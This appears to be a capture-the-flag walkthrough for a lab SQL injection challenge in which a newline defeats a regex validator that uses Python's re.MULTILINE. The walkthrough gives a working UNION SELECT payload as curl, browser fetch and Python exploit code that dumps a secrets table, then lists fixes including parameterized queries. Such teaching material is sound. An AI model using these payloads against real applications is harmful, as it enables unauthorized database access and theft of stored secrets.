A corporate directory validates user input with a regex pattern and Python's re.MULTILINE flag. The developers are confident their ^[a-z0-9 ]+$ pattern blocks all SQL injection attempts. They don't realize that MULTILINE changes how ^ and $ anchors behave. Security researchers know that a single control character can split validation logic across lines, bypassing even careful regex checks. Exploit this documented vulnerability and demonstrate why regex patterns cannot secure SQL queries.
The application uses a regex pattern with Python's re.MULTILINE flag:
safe_pattern = r'^[a-z0-9 ]+$'
if re.search(safe_pattern, user_input, re.MULTILINE):
return True # Valid input
The Critical Vulnerability:
re.MULTILINE, the ^ anchor matches the START of ANY line (not just the string)$ anchor matches the END of ANY line (not just the string)re.search returns True if ANY line in the input matches the pattern"abc\nUNION SELECT" passes validation because "abc" matches ^[a-z0-9 ]+$The challenge page displays the database structure in the "Database Information" section:
users table: id, username, email, role, created_atsecrets table: id, secret_type, secret_value, descriptionThe flag is stored in secrets.secret_value. You can also verify this by visiting /api/schema.
The vulnerable query structure shown in the response:
SELECT id, username, email, role FROM users WHERE username LIKE '%{your_input}%'
Key Details:
Structure: [safe line]\n[SQL injection]
a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--
Note: The visual display above shows two lines for clarity. In actual code, use \n (backslash-n) between them, as shown in Step 5.
Payload Breakdown:
a - First line: passes regex check (matches ^[a-z0-9 ]+$)\n - Newline character creates a second line' - Closes the LIKE string (not blocked by regex!)UNION SELECT - Combines results from two queriesid,secret_type,secret_value,description - 4 columns matching the original queryFROM secrets - Targets the secrets table with the flag-- - SQL comment removes the trailing %'Use single quotes around the JSON with the \n escape sequence (backslash followed by letter n):
curl -X POST http://<target-ip>/api/search \
-H "Content-Type: application/json" \
-d '{"search":"a\n'"'"' UNION SELECT id,secret_type,secret_value,description FROM secrets--"}'
Critical: The \n must be typed as two characters (backslash then n), NOT by pressing Enter. Copy the command above carefully.
Open browser Developer Tools (F12), go to Console tab, and paste this:
fetch('/api/search', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
search: "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"
})
}).then(r => r.json()).then(d => {
console.log(d);
if(d.results) d.results.forEach(r => console.log('Flag:', r.email));
})
In JavaScript strings, \n is automatically converted to a newline character.
Save this as exploit.py and run with: python3 exploit.py
import requests
url = 'http://<target-ip>/api/search'
payload = "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"
response = requests.post(url, json={'search': payload})
data = response.json()
if data.get('success'):
for result in data.get('results', []):
if 'email' in result:
print(f"Flag: {result['email']}")
In Python strings, \n is automatically converted to a newline character.
\n escape sequence in JSON/JavaScript/Python is parsed as an actual newline character (ASCII 10). This splits the input into two lines: line 1 is "a" (passes regex validation), and line 2 is the SQL injection (ignored by regex but executed as SQL).
\n stays as two characters (\ and n)The constructed SQL query becomes:
SELECT id, username, email, role FROM users WHERE username LIKE '%a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--%'
Execution Flow:
LIKE '%a\n'-- comment removes the trailing %' preventing syntax errorsThe application returns the injected query results. The flag appears in the "email" field (3rd column, which maps to secret_value from the secrets table).
if re.search(r'^[a-z0-9 ]+$', input, re.MULTILINE):
return True # Checks per-line, not whole string!
if re.search(r'\A[a-z0-9 ]+\z', input):
return True # Checks entire string, unaffected by newlines
if re.search(r'^[a-z0-9 ]+$', input): # Without MULTILINE
return True # ^ and $ now match string boundaries
query = "SELECT ... WHERE username LIKE ?"
cursor.execute(query, ('%' + search_term + '%',))
Why These Solutions Work:
\A and \z always match string start/end, never affected by any flags^ and $ match string boundaries (not line boundaries)Choose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email